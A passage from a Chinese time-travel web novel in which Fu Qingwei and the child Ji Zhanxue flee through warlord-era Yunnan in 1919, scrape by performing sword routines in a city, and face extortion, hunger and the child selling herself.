一边养伤一边找村民打探情况,姬湛雪家有几口人,有没有祖辈姓穆。她家从曾姥姥开始就姓姬,再往上村民不知道,作为上古八姓之一,世代相传,不太可能有变动。 至于男方那边,姓什么都有,三代之内也没有姓穆的。 傅清微盯着姬湛雪重新画上彩绘的小脸,若有所思。 到了中午,她就带着伙食去找村民蹭饭,她自己无所谓,姬湛雪嘴刁,饿死也不吃她做的。只好厚着脸皮提供食材,让人多添一副碗筷。 “小巫大人坐下来一起吃吧。” “谢谢。”傅清微却之不恭。 不吃白不吃,她只是不介意,不代表吃不出好恶,这两天她也觉得自己做的饭难吃。 其实她厨艺本来没有这么差的,否则也不可能把自己养这么大,遇到穆若水前勉强可以入口。遇到师尊以后,她十指不沾阳春水,一日日地养下来,厨艺就这么养废了。 以前又没那么多调料,也没有预制料包,不能随便控制火候,衬得傅清微的短板愈发明显。 不是糊了就是没熟,色香味弃权。 “我事先说好啊,你跟着我,吃不上好吃的。” 姬湛雪点点头。 “而且这一路很危险,我不能保证我们俩的安全,你可能会和我死在一起。” 姬湛雪低头看了看脖子里的百宝袋。 她伸出两只手,一只手指傅清微,一只手指自己,两只手一起指向百宝袋。 变成骨灰永远在一起。 傅清微:“……你这样想也没错,但没人给我们收尸,我们只能躺板板地在一起。” 床上,她直挺挺地躺了下去,把姬湛雪护在自己怀里,闭上眼睛,停止了呼吸。 “就像这样。” 姬湛雪躺在她柔软的怀抱,仰头看着她光洁美好的下颌,心想这样难道不是很好吗? “好。” “你又说话了。”傅清微低头捏她软软的下巴,“一个字一个字的往外蹦。” “嗯。” “你好像我认识的一个人。” “什?” “不好说,睡觉吧。” 傅清微把被子一拉,姬湛雪一小只被完全裹在了里面,被面蛄蛹两下,一个乌黑的脑袋钻了出来。 年轻女人已经躺平睡了,姬湛雪窝在她怀里找了个温暖的位置,脸贴着她的肩膀,合上了眼睛。 …… 傅清微带娃生涯正式开始。 即将远行的前几天,傅清微就在给姬湛雪收拾细软,村长家的石房子破坏不大,她的小衣服都在家里,一身一身的样式不少,大多颜色鲜艳。 可以看出村长生前的宠爱。 傅清微抛弃了那些引人注目的,只挑不起眼,灰扑扑的长袍,有几件兽皮披风,漂亮又厚实,傅清微摸着皮毛都爱不释手,更别提有感情的姬湛雪了。 无奈只能舍下。 她们是去逃难和流亡,不是在和平年代赶路,穿得显眼会被劫道和勒索。傅清微最后还是带上了一件,给小孩留个念想,万一有紧急情况,被抢劫也能交出东西。 她自己拣了巫祝的衣服,自带朴素,她穿着的那身道袍缝缝补补,跟件百衲衣似的,叠好装进了包袱。 两人于天色微明时站在村口,没有和任何人道别。 傅清微:“你要是舍不得的话再多看几眼,以后很难有机会回来了。” 姬湛雪看了好几眼,方说:“好。” 傅清微:“是好了。” “好惹。”姬湛雪学舌。 傅清微失笑地心想:有进步,能说两个字了。 傅清微牵起身边小人的手,走出几步回头再次望了眼坐落在晨曦里的安详村落,在心里说了一声:再见。 再见,巫祝,村长,和她遇到的所有善良的村民。 傅清微决定带姬湛雪回蓬莱观。 她不确定姬湛雪是不是穆若水,她是不是回到了师尊的年少时?如果是的话,她的穿越会不会不完全是偶然? 最后一个问题她暂时不去深思,首先她要去找第一个答案。 姬湛雪的手被她牵在手里,一大一小在山路并肩前行。 “去、哪?” “回我们的家。” 傅清微想好了,就算姬湛雪不是穆若水,但她长得和师尊一模一样,既然她选择带她走,只要她活着一天,她就会对她负责一天。 也许她的想法有些卑劣,在这个无望的年代里,即使将姬湛雪当作师尊的替身,也能给她真实的慰藉。 她宁愿日日看着她和穆若水长得一样的脸,去怀念再也见不到的人。当然,她不会和她在一起,当养了个女儿,她和师尊生的,无痛当妈。 古人21岁有个4岁的女儿太正常了。 嗯…… 傅清微忽然又想,有没有可能姬湛雪是师尊的母亲? 她后来和一个姓穆的结婚了,自己将来还得把关她的婚姻大事? 傅清微的思维从这张肖似的脸疯狂发散,没注意到小孩低着头想事情。 我、们? 姬湛雪无声地学了这个口型,塞在傅清微掌心的手指动了动。 走了几天几夜,两人终于翻过了一个山头,傅清微这一路显得特别谨慎,比她一个人赶路时的防备心多了十倍不止。 她的历史学得一般,高考后更是还给了老师,对1919这段时间线只知道军阀割据,正处在混战时期,上回她进的城里还有抓壮丁征兵的,墙上贴着征兵告示,遍地流民。 她不认为自己能平安无事地由滇入蜀,尤其是孤身带着四岁小孩,地狱难度。 要说傅清微最怕的是什么?她怕自己无意间闯入战区。 傅清微掏出罗盘,方向对她来说已经没用了,因为她根本不知道哪边在打仗,先从山里出去再说。 傅清微蹲下来,说:“小孩,你挑个方向吧。” 姬湛雪随手指了一个。 傅清微把她抱起来,说:“就这么走,大不了一起死。” 小孩精力再旺盛也是小孩,一半路自己走,一半由傅清微抱着,两条软软的胳膊圈在她的脖子里。 有时候也背着,姬湛雪就在她的头顶左顾右盼,看树后跑过去的圆脑松鼠。 她是没累着,傅清微已经初步体验了带娃的艰辛。 怪不得师尊每次拎行李上山都臭着张脸,现在换她天天背小孩,累够呛。 晚上二人尽量找山洞休息,遮风避雨,即使走得慢了些,也比风餐露宿,小孩子生病好。古人这医疗条件荒山野岭生了病,半条命都要留在阎王殿。 好在小孩身体争气,没有个头疼脑热,傅清微自己也很注意,不仅爱护身体,还每日抽时间修炼增强体魄,大人倒下了孩子更得完蛋。 求死容易,求生难。 入了夏后,便是雨季,密林里的雨更是说来就来,不分白天黑夜。 啪嗒。 一滴雨水落在了脸上。 傅清微扛起姬湛雪就跑,姬湛雪在她肩膀上下颠着,一声不吭。 雨水如豆点般砸了下来,整个林子里都响起风雨的沙沙声,从前傅清微在蓬莱观最爱听的雨声,现在都成了她的催命符。 外面风摇树动,雨声哗哗。 二人好不容易找到一处山洞避雨,傅清微把淋透的孩子放下,在她面前点起一堆篝火。 立刻着手给她脱掉湿透的衣服,换上包袱内部干的里衣,裹上兽皮披风。 姬湛雪冻得唇色发白。 傅清微外袍也湿了,一身里衣紧紧地将她抱在怀里:“冷不冷?” 姬湛雪摇头。 傅清微抱了她许久,直到她唇色慢慢缓过来,在她怀里睡着。 她向天祈祷了很久,不要发烧,千万不要发烧。 可是一个小孩子走了这么久的山路,吃不好睡不好,又淋了雨,能撑到现在才生病已经很争气了。 她躺在傅清微怀里,脸变得很红,唇瓣通红,当晚就发起了高烧。 傅清微半夜心神不宁地醒过来,伸手一摸额头滚烫,叫她她已经没反应了。 “小孩!小雪!” “小雪!!!” 傅清微将她平放在干草上,自己去翻包裹里带的药包,常见的几种病症她都拣了一些药包好携带,用小锅在火上煮开,熬了大半天才熬出一剂黑乎乎的汤药,灌她喝了下去。 不管她是谁,如果她死了,傅清微活在这世上唯一的念想也没了。 姬湛雪的烧依然没退,烧到了第二天,人都烧得糊涂了,模模糊糊地睁开眼,喊:“阿娘……” 傅清微手摸着她的额头,温柔道:“阿娘在呢,阿娘会永远陪着小雪。” 姬湛雪感觉阿娘的眼泪落在她的脸上。 “阿娘……不要……哭……” “阿娘没哭,你要快点好起来。” “好……”姬湛雪慢慢地应了一声,睡了过去。 谢天谢地,在第二天的下午她的烧渐渐地退了,手脚的温度摸上去也正常,傅清微给她煮了玉米糊糊,在她醒来以后喂她吃了下去。 姬湛雪端着玉米糊糊喝,傅清微继续啃干粮。 两人坐在山洞里各吃各的饭,看着对方的脸心里想的都是另一个人。 但毫无疑问,经历了这些,两人之间的感情和羁绊都加深了。 休息一晚后,再次出发,这次终于看到了崇山峻岭之外的风景,是一片低矮的丘陵。 傅清微带着姬湛雪谨慎地走了一段路,远远听见放鞭炮的声音。 大白天的放鞭炮?谁家办喜事? 可谁会在野外办喜事? 她思索了几秒钟,立刻按着姬湛雪卧倒趴下。 以前她在网上刷国人在国外,听见枪声以为是放鞭炮,万万没想到能发生在自己头上。 枪声不断地响起来,时远时近,傅清微心跳如鼓,压低姬湛雪的脑袋,两个人开始后退,在被发现前退回了山里,隐蔽身形。 傅清微站在密林里,说:“你真是给我们选了个好方向。” 姬湛雪歪了歪脑袋:“?” “没关系,此路不通,我们再换一条。” “好。” 傅清微摸了摸她的头。 两人在山里兜兜转转了两个多月,才走到一条看似安全的官道上。傅清微换上巫祝补丁最多的一件灰色布袍,把脸抹得黑黢黢,长发散下来盘在脑后,系上头巾,冒充孤身带娃的寡妇。姬湛雪那张冰雪小脸瞩目得不遑多让,傅清微挖了些河边的黑泥,挤出无毒的草药汁,给她涂得面目全非。 一个寡妇一个哑巴女儿,混进了城外的难民队伍里,跟着大部队进城。 进城的队伍排成长龙,右边是商队和正常过关的人,推进得很快,反观流民这边拖拖拉拉,傅清微抬头看了看天色,以这个速度,她们恐怕要在城外过夜了。 当晚没能进城的难民都露宿在了城外,三三两两地聚在一起报团取暖,傅清微牵着女儿开始打探消息。 主要是确认哪个地方在打仗,她北上好避开。 第二日城开了,守关的人换了一批,似乎比昨天更严格了,一个一个地盘问,傅清微远远地瞧着,见他们从流民手里接过一样东西,抬起头对照。 完了。 傅清微的心沉入谷底。 她没有路引,或者是通关文书。 一个黑户,带一个小黑户,在这个时代恐怕寸步难行。 上次她进城没要路引和凭证,她以为混入难民堆里至少可以过关。殊不知关卡有松有紧,绝大多数都需要过关文书,上次才是天大的侥幸,万一的偶然。 傅清微硬着头皮和姬湛雪来到了城门前。 军警面色不耐地伸手:“路引和过关文书。” 傅清微目光下垂,瞥了眼他后腰插着的警棍,旁边还有背着枪的士兵,再心虚也不能逃跑。 她现在是个寡妇,可她也不会演戏。 傅清微低下头,哀求说:“军爷,我孤儿寡母,带着孩子没有文书,您行行好。” 军警见惯了这套说辞:“让开让开!” 傅清微只好牵着姬湛雪到一边去。 正在这时,旁边另一位军警走过来,笑嘻嘻说:“没有文书有别的吗?” 偏远之地,守关是件肥差,活动的空间巨大。 傅清微刚刚排在后头观察过,这是要索贿,她动作迅速地解开包袱,故意在对方面前一览无遗,然后将姬湛雪那件兽皮披风交了上去。 军警用警棍扒拉了她包袱里那些破衣服,掂着皮毛上好的兽皮披风,说:“小是小了点,刚好孩子能用,进去吧。” “谢谢军爷!” 傅清微低着头,连忙带着姬湛雪匆匆往城里走。 她的身子绷着,腿脚发软,心跳不下一百三。 “站住。”一道声音从身后传来。 傅清微眼前发黑,一动不动地定着,心率直飙一百八。 姬湛雪摇了摇她的手,傅清微回头一看叫的是其他人,才重新迈开脚步。 “你会不会怪我把衣服给别人了?” 姬湛雪摇了摇头。 傅清微和她蹲在别人家的屋檐下休息,伸手蹭了蹭她脏兮兮的小脸。 无论如何,进了城再说。 她们不能一直在外面流浪,大人受得了小孩也受不了。进了城找份工,挣点钱给她吃口热饭,再之后……流民这么多肯定有伪造文书的门路,拿到过关文书她们才能入蜀。 一切都需要钱,她们现在身无分文。 傅清微不打算再扮寡妇了,她不是当寡妇的料,碰到精的就给她看穿了,不如回归老本行,继续当道士。 中九流比下九流的社会地位好一些。 傅清微的长剑层层伪装让小孩拿在手里拄着当拐棍,她灰头土脸,跟要饭的花子似的,活脱脱一丐帮。第一次人家压根没查,到大城市就不好说了。 她心有余悸。 手臂微微一沉,姬湛雪又靠着她睡着了。 小孩觉多,睡不醒。 傅清微更坚定了要找个地方安顿下来的决心。 姬湛雪醒了,坐在她身边吃肉干,噎得直抻喉咙。 干粮已经消耗尽了,这都是傅清微在山里打猎晒干制成的,大人嚼尚且费劲,遑论她这么小的孩子。 傅清微连忙给她递水,姬湛雪咳得脸红脖子粗,傅清微轻轻地给她拍着背。 接下来的肉干傅清微都给她撕碎,撕不碎的用剑锋割,嘱咐说:“慢一点吃,多嚼一会儿。” “好。” 姬湛雪说的最多的就是这个字,她嚼着撕碎的肉干,低头想了想,从掌心拿了一条,喂到傅清微的嘴边。 傅清微唇瓣被手指软软地碰了一下,她张开唇,含住了她给的肉干,吃进了嘴里。 “很好吃。”她看着姬湛雪的眼睛温柔地说。 “……” 小孩沉默。 傅清微温暖地笑了笑,伸手摸向她的头。 傅清微换上干净的补丁道袍,把自己的脸洗了,先和姬湛雪去道观碰碰运气。 一打听才知道城里没有道观,她直接开始找工作。 如果她单独去找工作成功率是百分之一,带着孩子就是无限趋近于零。除非去花街柳巷做皮肉生意,这是万万不能的。 “去去去。” 傅清微这几天已经不知道被驱赶了多少次,本来谈得有可能的工作,一听说她带着小孩,立刻绝口不用。 酒楼的石狮子前,姬湛雪仰起头,看着傅清微和另一个大人谈判。 那个大人低头看了看她,立马露出晦气的样子,接连摆手。 “不招,不招。” “老板你再考虑一下吧,我干活快,只要饭钱。” “两张嘴和一张嘴能一样吗?再说我还得包你俩吃住,世上哪有这种冤大头。” “快走快走!别拦着我做生意!” 傅清微将他的手打回去:“你别碰我的孩子!” 姬湛雪抬脚跟着年轻女人离开,低头看着自己的鞋尖,慢慢地想: 原来我……是个拖累吗? 傅清微找不到工作,没有落脚的地方,身上的肉干渐渐吃完了。 更要命的是,出关也需要文书。 她们被困在了城里。 第140章 傅清微识字, 但认识的是简体字,繁体字大部分会看不会写。当时通用书写工具是毛笔,她只会写钢笔字, 而钢笔的推广要十年以后, 1928年第一支国产钢笔诞生, 所以替人抄写或代写书信不可行。 她的字还不如随便一个开蒙的小孩。 西南三省的军阀打得火热,到处都在征兵, 此地偏远也不例外, 贴满了征兵告示,识字的被抓去抄写布告, 或者作别的用处。傅清微亲眼见他们在难民堆里把识字的带走了, 但凡有利用价值的流民,物尽其用。 老弱妇孺在这时候反而是最安全的,即使面临饿死病死的风险。 傅清微写字既不能谋生, 更不敢随意暴露。行医需要执照, 她的黑户身份处处掣肘,视为非法。 包括她的祝由术,谁知会被认为是巫术还是神迹?前者会被烧死, 十分之一的侥幸是后者,征兵入伍的队伍要是把她抓去当军医,她就从一个火坑跳入另一个更大的火坑。 她和小雪怎么办?还能回到家吗? 傅清微作为一个现代人,既不能突破自己的道德底线, 又不能暴露自己会巫医的本事,只能带着姬湛雪在城里四处奔走, 找一些安全的工作。 晚上她和其他的难民组队, 寻找地方睡觉,或住在戏台底下, 或藏身于暗巷,躲避夜间巡逻。 她身手好,反应机警,负责望风。 饶是如此,她有一根弦始终系在姬湛雪身上,越是世道乱,人贩越是猖獗,一旦发现她被盯上,傅清微就会带着姬湛雪转移,身边换来换去的都是不同的流民,没有交一个朋友。 在城里待了一段时间后,傅清微随身携带的肉干耗尽,两个人蹲在屋檐下,姬湛雪吃了最后一条肉干,傅清微喂她喝了水,又给她擦了擦手。 以为在城里会有谋生的机会,不想事与愿违。 现在城也出不去了,没有吃的,她们很快就会饿死。大人能扛,小孩扛不了。 姬湛雪还是长身体的年纪。 傅清微偏头去看她草木灰掩盖的脸,即使伸手擦掉一块,皮肤也不如先前雪白了,脸瘦了一圈,手摸上去干干的,不像以前有肉。 姬湛雪自从跟了她以后,好好的白嫩孩子养得面黄肌瘦,傅清微眼眶微湿。 流亡之路这么艰辛,她一声苦也没说,一声累也不吭。 事已至此,她还有什么脱不下的长衫呢? 城西闹市。 傅清微背对墙站着,嘴里默念着台词,一遍一遍地念,有时会忽然停下沉默良久。 姬湛雪在旁边看着她。 傅清微背好台词,冲她一笑,蹲下来握住她的两只手说了一段话。 姬湛雪点了点头。 不知道为什么,她觉得傅清微的神情有点难过。 傅清微深吸了一口气,走进了闹市中间,双手用力地拍着,将路人的注意力吸引了过来。 “瞧一瞧看一看了啊,走过路过不要错过。” “我姊妹二人逃难至此,投奔亲戚,路遇贵宝地,盘缠耗尽。今日我来为大家舞一段剑,各位乡亲父老,有钱的捧个钱场,没钱的捧个人场。” 傅清微二话不说,抽出剑来,当众舞起来。 剑出罡气,一声轻吟。 爱凑热闹是国人的天性,何况卖艺的还是一对小女子,她身边的空地很快聚集了一群人,有难民小孩挤在人堆里,也探头探脑地瞧。 傅清微每日练剑不敢懈怠,剑法烂熟于心,即使一身布袍,身姿轻盈灵动,剑术更是奥妙卓绝,外行人也能看得出精彩。 “好!” “再来!!!” 拍掌和叫好声响起。 姬湛雪从旁边走出来,伸出脏兮兮的小手,沿着前排的观众走了一圈。 “谢、谢。” 她说着新学的两个字,挨个问过去,得到的赏钱寥寥无几,干看不给钱。有当地人见她可怜瘦小,才伸手往她掌心放了两枚铜元。 傅清微投入忘我地舞剑,只当自己身在蓬莱观,身边的观众只有师尊一个人。 可是…… 师尊若是知道她为了讨两口饭钱,用她教她的本事当街卖艺,又该作何感想? 傅清微眼角滑落一滴泪水,剑的去势跟着一阻,几乎舞不下去。她连忙收敛心神,抹去眼泪,回身横扫,接上下一招,剑如游龙,流风回雪。 姬湛雪已走完了一圈,形势不乐观。 傅清微看了看身后的墙壁,收剑蹬上墙,人在墙外,脚在墙面,表演了一个身轻如燕飞檐走壁。 “好!!!” 四周的叫好声顿时热烈了几倍,姬湛雪趁机上前,果然比刚才的赏钱多了。 “谢、谢,谢谢。” 傅清微的表演还在继续,她边跑边挥动长剑,剑光眼花缭乱,都是从前斩妖除魔的功夫,如今只能用来哗众取宠。 傅清微从门楼飞下,双脚落在地面,亲自上前讨了第三次赏钱。 “各位乡亲父老,资助我姊妹二人返乡,感激不尽。” 围观群众心满意足地散去了,傅清微和姬湛雪抱着刚入账的几十个铜元,傅清微小心地收进了贴身的衣物里,留出两枚铜元交给了仍然站在外围的难民小女孩。 年纪看起来比姬湛雪大不了两三岁,端着豁口的破碗,她身边没有大人,可能暂时离开了也可能只有孤身一人,家破人亡或者走失了。 傅清微接着牵她手的时机悄悄塞进她掌心,都没有声张,附近还有别的难民躺在路边乞讨。 傅清微松开她的手,小女孩看了看她身后的姬湛雪,似乎在羡慕。 可傅清微只能帮到这里了,她自身难保,牵着小雪离开,一步也没有再回头。 “老板,馄饨怎么卖?” “5文钱。” 傅清微从掌心数出五枚铜元,来回确认了两遍,放到小贩的摊位前,说:“来一碗。” 傅清微领着姬湛雪坐到角落的桌子里,说:“我去对面买个烧饼,有事就大声叫。” 点头。 “要一个烧饼。” “肉的还是芝麻的?” 傅清微在烧饼摊扫了一眼,立刻将脸扭向馄饨摊,盯住姬湛雪的身影不离开视线,说:“最便宜的,有隔夜的吗?” 姬湛雪两只手贴上去捧着馄饨碗,说了一个字:“香。” 傅清微失笑:“香也要小心烫。” 她掰着烧饼皮慢慢地吃,姬湛雪小小的人坐在条凳上,脸几乎和馄饨碗持平,小口地吃着鲜肉馄饨。 进城以后她就没吃饱过,每天兽肉干果腹,现在又有肉又有汤,不知不觉吃了一大半下去,她埋头苦吃的脸忽然顿住,抬起来看着傅清微,抿了抿嘴。 她把碗推过来。 傅清微笑着说:“我不饿,你先吃,吃不完我再吃。” 姬湛雪:“?” 小孩识别不了大人的谎话,在对视了几秒钟后,选择了相信她。 “吃饱了?”傅清微看着碗里剩下的两只馄饨和半碗飘着油水的汤。 “嗯。” 傅清微将剩下的半张烧饼包好收进怀里,接过来吃了个一干二净,连碗底都舔得一滴不剩。 她牵着姬湛雪的手离开,暮色里背影像一对寻常归家的母女:“味道怎么样?” 姬湛雪晃着她的手:“好。” 傅清微将她抱起来,脸贴了贴她抹着草木灰的小脸:“好吃下次还来。” 姬湛雪趴在她肩上,声音高了些,清脆:“好!” 傅清微又花了一个铜元去买了一桶井水,用破布过滤后,给姬湛雪擦身。 城里洗澡不便,大多数难民都采用干洗的方法,草木灰,苦楝叶捣成汁,效果比不上水,也能达成大半,还能抑菌防虱,都是底层人民的智慧。 但能洗澡当然是最好。 傅清微擦掉了小孩身上和脸上的草木灰,短暂地做了个干净小孩,挂着水珠到处甩,像村里的小狗。 她自己只清洗腋下和腹股沟,一桶水便用得七七八八。 洗完澡出来时,姬湛雪又变成了小花猫。 傅清微把剩下的铜元攒了起来,等她卖艺挣下些钱,就准备点干粮,想法子换文书出关,继续北上。 晚上姬湛雪靠在她怀里睡着了,傅清微抱着她的剑。 相思不会怪她。 她凭双手挣钱,没偷没抢,问心无愧,她也不该再想那些了。 第二日她们来到闹市卖艺,和原来的地方换了条街口,人还是聚集了不少,但是赏钱比昨天少了些。中途人就开始散了,听说隔壁不远在耍杂技,精彩得很。 傅清微收好钱准备走,忽然被一伙人拦下,傅清微及时刹住脚才没有碰到那个迎面撞上来的男人。 男人似乎有点惋惜,摸了摸自己空荡荡的胸口。 “小娘子,欠我的钱打算什么时候还?” 傅清微牵着姬湛雪的手让她躲在自己身后,皱眉道:“你是不是认错人了?我不认识你。” 男人旁边的小弟哈哈一笑:“大哥,她说不认识你。” 另一个小弟说:“你也不打听打听,这条街是谁的地盘?实话跟你说,我们是青龙帮的。” 傅清微知道自己遇上要保护费的了,他们穿着打扮都是本地人,大摇大摆肯定有关系,硬碰硬只有自己吃亏,万一惹来军警,吃不了兜着走。 傅清微忍气吞声:“这位是……” “马哥。” “马哥好。” “挺识趣儿的嘛。”马哥说,“交出来吧。” 几个人围过来,杜绝了她逃跑的可能。傅清微若只有自己,这些人未必碰得到她的背影。但她还带着一个,跑不出多远就要被抓住。 傅清微从怀里掏出用布包着的今天的收入。 马哥低头瞧了眼:“才二十几个铜元。” 傅清微:“只有这么多了。” 小弟:“听说你们昨天在另一条街卖艺了,也是我们青龙帮的地盘。” 马哥:“就这么点?弟兄们今天的跑腿费都不够。实在不行,就拿你身后的小孩抵债吧。” “不要碰我妹妹!” “那就把钱都交出来!”马哥脸也一沉,骤然喝道,“少特么给老子废话!” 傅清微把另一个布包的钱也丢了出来,合起来有五十铜元。 马哥收了钱往前方耍杂技的街道走去,小弟回头警告她说:“这次给你个教训,打听打听自己借谁的风吃饭,以后五五分账,自觉点!” 傅清微恨不得把他们杀了同归于尽! 她忍住了伸手去握剑柄的冲动,蹲下来紧紧抱住了姬湛雪,姬湛雪感觉她贴在自己脖颈里的眼皮热热的,却始终没有泪水流出来。 柳暗花明,又逢绝路。 本来一天只能挣二十几个铜元,交掉一半只能够姬湛雪吃饱饭,她喝口汤。卖艺的收入会持续下滑,迟早吃不饱饭,耗费的体力还大,得不偿失。 她不能再卖艺了,得找别的生路。 傅清微牵着姬湛雪来到了包子铺,说:“要一个肉包子。” 然后她从胸前缝制的内口袋里掏出两文铜元,递给了老板。 姬湛雪和她坐在屋檐下打开油纸包着的肉包子,傅清微说:“我私藏的钱,厉害吧?” 姬湛雪脱下自己的鞋,从鞋底里倒了两文钱出来。 她知道在外面这个黄黄的物事很重要,傅清微辛苦舞剑半天才能换到二十几个,她也藏了两个保命钱。 傅清微噫了一声,故作轻松地笑道:“这是有味道的钱。” 姬湛雪歪了歪脑袋。 傅清微伸手摸她的头,认真地说:“我一定会让你活下去的。” 姬湛雪看着她,目光闪了闪。 姬湛雪吃了半个肉包子,把剩下半个给她,她识破了大人的谎言。 傅清微把肉喂她吃了,自己一分一分掰着吃浸了肉汁的包子皮。 姬湛雪藏的这两文铜元就是她们最后的积蓄了,傅清微将它珍惜地收进贴身的内口袋。 第二天它便到了烧饼铺的手里,弹尽粮绝。 “饿不饿?”晚上姬湛雪躺在年轻女人的怀里,傅清微摸着她的额头问道。 姬湛雪摇摇头。 可是她睡得比平时迟,手也不自觉地按在肚子上。 晨起时,她还没睁眼,肚子先开始叫了。 咕噜咕噜。 姬湛雪不好意思地埋脸,傅清微点了点她的鼻头,领着她出了难民睡觉点,上街。 姬湛雪只记得这天在街上走了很久,傅清微低声下气给她讨了碗面汤喝,晚上她们没有回难民点,而是走进了一条巷子里,月黑风高。 墙边有废弃的筐,傅清微让她藏在筐里,蹲下来小声和她说:“如果有人发现你要带你走,你就大声叫。我很快回来,不要害怕。” 姬湛雪点点头。 然后她看见傅清微轻轻一跃,翻过外墙,消失在了墙内。 她的瞳仁微微睁大。 傅清微回来得非常快,一炷香的功夫她便翻了出来,不多的路她站着一直在喘,连眼圈也是红的。 白天她摸透了附近的地形,一大一小避开大路的巡逻,遇到更夫便原地躲好,冷静谨慎地带着姬湛雪离开了巷子,消失在茫茫夜色里。 姬湛雪头一回住进了客栈里,虽然是最下等的房间,但是有床,还有一桌饭菜。 姬湛雪难得不顾形象地大快朵颐,傅清微坐在对面看她吃,一只手按着自己的胃。 姬湛雪抬头:“你、也。” 傅清微说:“好,我也吃。” 她执起筷子,强迫自己吃下了一些饭菜,便搁下筷子。 姬湛雪吃饱了,傅清微把她叫过去,说:“你看到我昨晚去做什么了对吗?” 小孩点点头。 傅清微摸了摸她的头,弯下腰和她说:“不要偷不要抢不要去乞讨。不要学我,我……是个坏人。” 姬湛雪用力摇头。 傅清微握住她的脑袋,让她看着自己的眼睛,声音严厉,说:“不要学我,听见了吗?” 小孩被她吓到,不会动作。 傅清微又抱住她,哽咽道:“对不起,都是我的错。” 姬湛雪愣愣地站在原地,听着她在自己耳边哭诉道歉。 可她做错了什么呢? 她做的一切都是为了自己。 如果没有自己这个拖累,她会好很多吧。 不会被人驱赶,不会吃不上饭,不会被勒索,不会低三下四,不会去做一切她不情愿的事,不会对着她哭。 傅清微忽然捂住自己的嘴快步走到一边,刚刚吃下的饭菜全都吐了出来。 姬湛雪往她的方向走了一步,傅清微伸手阻止她,说:“不要过来。” 姬湛雪束手立在不远处。 亲眼看着她难受到呕吐,吐到胃里只剩酸水。她已经两天没吃饭了,连酸水也呕不出来。 傅清微打扫完地面,喝了一杯水,牵着姬湛雪暂时离开客栈,花钱打听伪造文书的门路,打算尽快出城。 城里的张贴榜上多了封告示,某某米行老板失窃了两块银元,正在悬赏通缉,因为金额不大只占了一个小角落,很快被新的告示覆盖。 “听说老板被打晕了。” “打晕了才拿那么点,换我不得把他家搬空了。” “这老板也不是啥好人,我听人说他……” “上次他还差点打死一个乞丐,就因为人家走累了在他家门边歇了会儿。” “恶有恶报咯。” 告示板前议论了一会儿,众人便纷纷散开,这点小事连饭后谈资的价值都没有。 傅清微问到了伪造文书的方法和金额,回来客栈休整,决定明天一早就去办。她们在回来的路上买了两个烧饼,姬湛雪吃了一个,傅清微也吃了一个,刚吃到一半就控制不住地反胃,攥着桌角的指节泛白,弯腰呕吐。 第二天早上她没能起来。 她病倒了,病情来势汹汹。 姬湛雪急得在她床头团团转,又不会说话,喉咙里只能吐出单字,啊啊的着急。 傅清微有条不紊地嘱咐她让厨房熬了一剂汤药,姬湛雪端着黑乎乎的汤药放在床沿,一勺一勺喂她喝。 傅清微好像回到了去年的夏末,她刚落入这个时空不久。那时候小雪每天在巫祝院子里,不会说话,但生活是彩色的。 她是不是不该把这孩子带出来? 哪怕没有了巫祝和村长,村民受过她们的恩,也不会让她过上朝不保夕的日子。 就算是死,死在家乡也好过客死异乡。 傅清微后悔了,后悔她所做出的决定。她不该为了自己的猜测,搭上姬湛雪的人生。 傅清微吃完药就睡了过去。 病去如抽丝,她每日卧床不起,姬湛雪要去找大夫,傅清微不同意,她知道自己是什么病,她恐怕是抑郁了。 寻常大夫治不好的,住客栈已经很烧钱,再浪费钱去抓药,她们俩都要露宿街头。一个病人一个孩子,三天之内就会成为两具尸体,一起客死异乡。 “没事的。”傅清微脸色苍白,躺在床上安慰她,“我很快就能好起来。” 姬湛雪盯着她,没有一滴眼泪,傅清微却能看得出难过。 她也很难过,因为这些都是自己带给她的,她原本可以不这样。 明明她们很快就能出城了,现在钱要花没了,伪造文书买不起了,她们又要在城里打转,不知道能活多久。 傅清微喝了大半碗米粥,难得又吃了一张饼,合眼睡了过去。 她要多吃饭多睡觉,快快好起来,带着姬湛雪离开这里! 她睡着以后,姬湛雪在床头看了她很久,小小的手碰到年轻女人消瘦的脸颊。 她的手指摸着她凸起的颧骨,慢慢地走着,姐姐也瘦了好多。 如果没有我…… 姬湛雪指尖蜷了蜷,收了回来,静悄悄地离开了客栈房间。 傅清微这一觉睡得极沉,醒来觉得自己连日疲惫的身体终于轻盈了些,离她好起来不远了。 “小雪。”她迫不及待地要和她报喜。 预料之中跑过来的脚步声并没有出现。 傅清微掌心微沉,她打开不知何时合起的手心,里面静静躺着四块银元。 姬湛雪不见了。 她把自己卖了,卖了四块银元。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 140-150 第141章 “小雪!!!” 傅清微看清手里的银元, 拿起剑疯了一般地夺门而出。 迎面撞翻路过的小二,小二一个后仰差点摔个倒栽葱,一只消瘦修长的手却将他拽了回来。 小二见是那位住在下等房的女客, 病歪歪地躺了好几天了, 很快连房钱都要交不上, 恭顺的表情立刻变成了不以为意,吊着眉呛声:“你走路不长——” 他立刻紧紧地闭上出言不逊的嘴巴, 面色惊恐。 傅清微锋利的剑刃推出一截抵着他的喉咙, 眼底发红:“有没有看到我妹妹?跟在我身边的那个小女孩,说!” “没、没看到。” “她出去了没有?我只给你一次机会!” “看到了看到了!她上午出去的!” “去哪里了?!” “这我是真不知道啊, 我不可能盯她一个小孩, 女大王饶命。” 傅清微将他狠狠搡到一边,冲着大门追了出去。 两边街道人流稠密,沿街的难民们或坐或躺, 挑担的, 游荡的,放眼皆是茫茫,姬湛雪落进未知的人潮里, 就像一滴水融进海里。 大海捞针,无从找起。 傅清微脑海里浮现的第一个地点是红灯巷,人贩子一旦拐走女童,多半会送去那里, 姬湛雪长得那么漂亮,更能卖个好价钱。 但她一不愿去设想最坏的可能, 二则有一个疑点, 她从来没有带姬湛雪去过红灯巷,她自己主动把自己卖了, 是怎么精准地找到要买她的人,她连话都说不流利。 人贩子要拐走她,直接带走就好,她身边又没有大人,为什么要给她钱? 四块大洋。 傅清微摸着兜里的银元,为什么刚好是四块大洋? 为什么她听着这个数目这么耳熟? 她大脑闪过一幅不久前的画面。 十天前。 傅清微和一帮难民结队夜宿在城南某戏班的戏台底下。 晨起傅清微领着姬湛雪做一些力所能及的活,作为报偿。她身子小,动作却麻利,虽然脸涂得面目全非,但唱戏的眼多亮啊,戏台化成那样都认得出,何况区区草木灰和泥土。 尤其是姬湛雪的眼睛,并非傅清微情人滤镜,她那双眼独一无二的引人注目。 班主那天就用烟管指了指她身边,问傅清微:“你这孩子卖不卖?” 傅清微连忙护崽子似的牢牢挡住姬湛雪。 